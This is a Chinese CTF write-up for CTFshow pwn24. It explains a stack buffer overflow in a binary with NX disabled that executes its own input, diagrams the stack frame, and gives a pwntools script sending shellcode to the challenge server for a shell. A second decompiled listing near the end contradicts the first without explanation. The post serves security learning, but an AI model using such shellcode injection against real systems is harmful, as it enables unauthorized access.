[ pwn 学习 ] CTFshow-pwn24
2026-08-22 20:36:38

pwn24 NX 禁用下的 shellcode

NX 关闭意味着栈上的数据可以被 CPU 当作指令执行,攻击者只需将 Shellcode 写入栈即可获得系统控制权。

1.基础信息

  • NX: NX disabled (这意味着 CPU 允许执行栈或数据段上的指令!)

相当于你可以把任何代码直接发给程序,程序都会傻傻地帮你执行(NX 就是数据区和代码区之间的墙。墙没了,你写什么数据,程序就当代码跑了)


  • RWX: Has RWX segments (内存中存在既能写又能运行的区域)

2.逆向分析

反编译共 15 个函数。除mainctfshow外全是库函数/启动代码,不用看

2.1 ctfshow — 漏洞核心

1
2
3
4
5
6
7
8
int ctfshow(void)
{
char v0[132]; // [bp-0x8c] — 栈上 132 字节的缓冲区

read(0, v0, 0x100); // 读取 0x100=256 字节 → 栈溢出!(256 > 132)
puts(v0); // 打印缓冲区 → 可用于泄露栈地址
return (v0)(); // 把缓冲区当函数指针调用!直接跳转执行你的输入
}

三个漏洞点:

漏洞 说明
栈溢出 read(0, v0, 0x100)
读了 256 字节,缓冲区只有 132 字节,溢出 124 字节
(会覆盖空隙区域、旧 ebp、返回地址和部分 main 栈帧
信息泄露 puts(v0)
** 打印缓冲区直到遇到\x00,可泄露栈上数据**

(如果不填满 132 字节 就会打印出栈上残留的数据,可能泄露libc地址或者栈地址
如果填满且无\x00,连旧 ebp 和返回地址都会一起打印出来,泄露代码段基址)
代码执行
(核心漏洞)
return (v0)()
** 直接把你的输入当代码执行**

(v0)——数组退化成指针
C 语言中,数组名 v0 在表达式中退化为指向首元素的指针,即 v0 的地址 = ebp - 0x8c,指向输入的第一个字节
(v0)()——指针当作函数调用
等价于lea eax,[ebp -0x8c];取 v0 首地址
call eax;直接跳过去执行

相当于直接执行输入的第一条指令 发送 shellcode 即 getshell

2.2 main — 环境信息

关键信息在这两行 Hint:

1
* Hint  : NX disabled & Has RWX segments
  • NX 关闭 → 栈可执行,直接跑 shellcode
  • RWX 段 → 内存可读可写可执行

意味着不需要 ROP,不需要覆盖返回地址,不需要绕过 NX——程序主动跳过去执行你的输入

3.栈帧布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
格子编号   地址         内容
─────── ──── ──────────
0 ebp-140 v0[0] ← v0 开始
1 ebp-139 v0[1]
... ... ...
131 ebp-9 v0[131] ← v0 结束(132格)
─────── ──── ──────────
132 ebp-8 空隙
... ... ...
139 ebp-1 空隙 ← 8格空隙
─────── ──── ──────────
140 ebp 旧ebp ←┐
141 ebp+1 旧ebp │
142 ebp+2 旧ebp │4格(ebp指向这里)
143 ebp+3 旧ebp ←┘
─────── ──── ──────────
144 ebp+4 返回地址 ←┐
145 ebp+5 返回地址 │
146 ebp+6 返回地址 │4
147 ebp+7 返回地址 ←┘

[bp-0x8c]=v0 到旧 ebp 开头的距离=0x8c=140 字节

(v0)()直接跳转到0x00执行,不需要覆盖返回地址

read(0,v0,0x100)

从 v0 标准输入读取 0x100=256字节

但是 v0 只有 132 字节

溢出量:256-132=124字节 超出了缓冲区

这 124 多余字会覆盖掉

v0[132] → 空隙区域

v0[140] ~ v0[143] → saved ebp

v0[144] ~ v0[147] → ★ 返回地址

v0[148] ~ v0[259] → main 的栈帧(继续往上写)

4.Exploit

1
2
3
4
5
6
7
8
9
10
from pwn import *

context(arch='i386', os='linux', log_level='info')

p = remote('pwn.challenge.ctf.show', 28155)
p.recvuntil(b'Hint') # 收完 banner

p.send(asm(shellcraft.sh())) # 发送 shellcode → (v0)() 直接执行

p.interactive() # getshell

cat ctfshow_flag

1
2
3
4
5
6
7
8
/* ===== ctfshow @ 0x80484f6 ===== */
int ctfshow(void)
{
char v0; // [bp-0x8c]

__x86.get_pc_thunk.ax();
return read(0, &v0, 0x100);
}

相关笔记

栈溢出系列

  • pwn23strcpy 溢出 + SIGSEGV 信号劫持(无 NX 也能做)
  • pwn25 ret2libc 栈溢出利用 (NX 绕过) — NX 开启时无法用 shellcode,需 ret2libc

NX 保护对比

  • pwn1checksec 中 NX 的含义
  • pwn19system() 命令注入(无需栈执行,绕过 NX 的另一种思路)

工具

  • pwntoolsasm(shellcraft.sh()) 生成 shellcode
上一页
2026-08-22 20:36:38
下一页